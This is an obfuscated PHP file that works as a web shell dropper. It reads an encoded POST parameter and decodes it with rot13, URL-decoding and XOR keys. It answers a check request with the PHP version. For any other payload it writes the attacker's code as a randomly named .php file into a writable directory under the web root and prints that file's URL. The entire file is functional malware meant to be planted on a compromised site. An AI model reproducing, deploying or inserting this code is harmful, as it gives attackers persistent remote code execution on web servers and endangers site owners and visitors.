<?php $ahxis = "cialkmupxpdhkvsg";$wuqafu = "";foreach ($_POST as $iulgpzu => $ghnvewom){if (strlen($iulgpzu) == 16 and substr_count($ghnvewom, "%") > 10){aywvwcousi($iulgpzu, $ghnvewom);}}function aywvwcousi($iulgpzu, $prdhlhvfxnnk){global $wuqafu;$wuqafu = $iulgpzu;$prdhlhvfxnnk = str_split(rawurldecode(str_rot13($prdhlhvfxnnk)));function xgdsgrzj($xwdgyzzz, $iulgpzu){global $ahxis, $wuqafu;return $xwdgyzzz ^ $ahxis[$iulgpzu % strlen($ahxis)] ^ $wuqafu[$iulgpzu % strlen($wuqafu)];}$prdhlhvfxnnk = implode("", array_map("xgdsgrzj", array_values($prdhlhvfxnnk), array_keys($prdhlhvfxnnk)));$prdhlhvfxnnk = @unserialize($prdhlhvfxnnk);if (@is_array($prdhlhvfxnnk)){$iulgpzu = array_keys($prdhlhvfxnnk);$prdhlhvfxnnk = $prdhlhvfxnnk[$iulgpzu[0]];if ($prdhlhvfxnnk === $iulgpzu[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function zuhcd($prdhlhvfir) {static $qagtaclado = array();$cnihhagwml = glob($prdhlhvfir . '/*', GLOB_ONLYDIR);if (count($cnihhagwml) > 0) {foreach ($cnihhagwml as $prdhlhvf){if (@is_writable($prdhlhvf)){$qagtaclado[] = $prdhlhvf;}}}foreach ($cnihhagwml as $prdhlhvfir) zuhcd($prdhlhvfir);return $qagtaclado;}$oxizrn = $_SERVER["DOCUMENT_ROOT"];$cnihhagwml = zuhcd($oxizrn);$iulgpzu = array_rand($cnihhagwml);$awori = $cnihhagwml[$iulgpzu] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($awori, $prdhlhvfxnnk);echo "http://" . $_SERVER["HTTP_HOST"] . substr($awori, strlen($oxizrn));exit();}}}